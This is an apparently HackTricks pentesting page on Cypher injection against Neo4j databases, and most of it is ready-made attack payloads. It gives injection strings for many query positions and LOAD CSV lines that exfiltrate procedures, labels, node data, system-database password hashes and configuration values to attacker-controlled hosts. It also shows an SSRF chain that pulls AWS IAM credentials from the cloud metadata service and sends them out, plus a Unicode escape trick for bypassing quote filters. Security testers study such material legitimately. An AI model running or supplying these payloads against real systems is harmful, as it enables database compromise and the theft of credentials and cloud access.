Cypher Injection (neo4j)
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
The MATCH and WHERE statements are common scenarios.
When we have found an injection, the way to exploit it depends on the location within the query. Below is a table of different injection locations and exploitation examples:
Injectable query | Injection |
---|---|
MATCH (o) WHERE o.Id='{input}' | ' OR 1=1 WITH 0 as _l00 {…} RETURN 1 // |
MATCH (o) WHERE '{input}' = o.Id
MATCH (o) WHERE {input} in [different, values] | '=' {…} WITH 0 as _l00 RETURN 1 // |
MATCH (o) WHERE o:{input} | a {…} WITH 0 as _l00 RETURN 1 // |
MATCH (o) WHERE o:`{input}` | a` {...} WITH 0 as _l00 RETURN 1 // |
MATCH (o {id:'{input}'}) | '}) RETURN 1 UNION MATCH (n) {...} RETURN 1 // |
MATCH (o:{input}) | a) RETURN 1 UNION MATCH (n){...} RETURN 1// |
MATCH (o:`{input}`) | a`) RETURN 1 UNION MATCH (n){...} RETURN 1 // |
MATCH (o)-[r {id:'{input}'})]-(o2) | '}]-() RETURN 1 UNION MATCH (n){...} RETURN 1// |
MATCH (o)-[r:{input}]-(o2) | a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 // |
MATCH (o)-[r:`{input}`]-(o2) | a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 // |
Note the UNION statement:
- 1.The reason UNION is required is that if the MATCH statement doesn't return anything, the rest of the query won't run. So, all the nefarious things we might do there will simply not execute.
- 2.We add “RETURN 1” before the UNION so both parts return the same columns, which is required for the query to execute.
So, what's with the “WITH” statement?
Using WITH, we can drop all existing variables. This is important when we don't know what the query is (more on that later). If our payload accidentally tries to set a variable that already exists, the query will fail to run.
Naturally, if we know the query and the database, none of these techniques are required. We can even manipulate the returned data to in turn manipulate the process instead of just abusing the server.
It's possible to use the following method to exfiltrate information to the attacker controlled domain:
LOAD CSV FROM 'https://attacker.com/'
For example
// Injection in:
MATCH (o) WHEREo.Id='{input}' RETURN o
// Injection to get all the preocedures
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
The first thing an attacker should check is whether APOC is installed. APOC (awesome procedures on Cypher) is an extremely popular, officially supported plugin for Neo4j that greatly enhances its capabilities. APOC adds many additional functions and procedures that developers can use in their environment. Attackers can use the various procedures and functions APOC offers to carry out more advanced attacks.
apoc.convert.toJson
— converts nodes, maps, and more to JSONapoc.text.base64Encode
— gets a string and encodes it as base64
It's possible to set headers and send other methods than GET. Examples:
CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value
CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list
apoc.cypher.runFirstColumnMany
— a function that returns the values of the first column as a listapoc.cypher.runFirstColumnSingle
— a function that returns the first value of the first columnapoc.cypher.run
— a procedure that runs a query and returns the results as a mapapoc.cypher.runMany
— a procedure that runs a query or multiple queries separated by a semicolon and returns the results as a map. The queries run in a different transaction.
One way to get the server version is to use the procedure
dbms.components()
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
The easiest one is to use the procedure
dmbs.listQueries()
' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 //
In Neo4j 5
dbms.listQueries
was removed. Instead, we can use “SHOW TRANSACTIONS”. There are two major limitations: SHOW queries are not injectable, and unlike listQueries
, we can only see the currently executed query in the transaction and not all of them.If APOC core is installed, we can use it to run SHOW TRANSACTIONS. If we run in the same transaction, only SHOW TRANSACTIONS will be returned instead of the query we are trying to see. We can use
apoc.cypher.runMany
to execute SHOW TRANSACTIONS, because unlike other apoc.cypher functions and procedures, it runs in a different transaction.' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//
Using the built-in method
db.labels
, it is possible to list all existing labels.'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0
The built-in function
keys
can be used to list the keys of the properties (This won't work if one of the fields is a list or a map.).' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
If APOC is available, there's a better way to do it using
apoc.convert.toJson
' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //
Using the built-in procedures
dbms.functions()
and dbms.procedures()
it's possible to list all functions and procedures.' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
These procedures were removed in Neo4j 5. Instead, we can use
SHOW PROCEDURES
and SHOW FUNCTIONS
. SHOW queries cannot be injected.If APOC core is installed, we can use any of the procedures or functions that execute queries to list functions and procedures.
' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //
The system database is a special Neo4j database that is not normally queryable. It contains interesting data stored as nodes:
- Databases
- Roles
- Users (including the hash of the password!)
Using APOC, it's possible to retrieve the nodes, including the hashes. Only admins can do this, but in the free edition of Neo4j, there's only an admin user and no other users, so it's not uncommon to find yourself running as an admin.
Use the procedure
apoc.systemdb.graph()
to retrieve the data.' OR 1=1 WITH 1 as a call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //
Neo4j uses SimpleHash by Apache Shiro to generate the hash.
The result is stored as a comma-separated values string:
- Hashing algorithm
- Hash
- Salt
- Iterations
For example:
SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024
Using APOC, it is possible to retrieve the environment variable by using the procedure
apoc.config.map()
or apoc.config.list()
.These procedures can only be used if they are included in the list of unrestricted procedures in the conf file (dbms.security.procedures.unrestricted). This is more common than one might think, and Googling the setting name results in many sites and guides that advise adding the value “apoc.*”, which allows all APOC procedures.
' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //
Note: in Neo4j5 the procedures were moved to APOC extended.
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _
We need to specify headers and we need to use methods other than GET.
LOAD CSV
can't do either of these things, but we can use apoc.load.csvParams
to get the token and the role, and then apoc.load.jsonParams
to get the credentials themselves. The reason we use csvParams is that the response is not a valid JSON.CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token
CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role
CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value
CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list
- $data is formatted as %Y%m%dT%H%M%SZ
- $token is the token we got from the metadata server
- $signed_token is calculated according to https://docs.aws.amazon.com/general/latest/gr/signing_aws_api_requests.html
In Neo4j >= v4.2.0, it's often possible to inject Unicode using “\uXXXX”. For example, you can use this method if the server tries to remove characters such as: ‘, “, ` and so on.
This may not work if a letter follows the Unicode escape sequence. It's safe to add a space afterward or another Unicode notation.
For example, if the server removes single quotes, and the query looks like the following:
MATCH (a: {name: '$INPUT'}) RETURN a
It is possible to inject:
\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o //
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Last modified 15d ago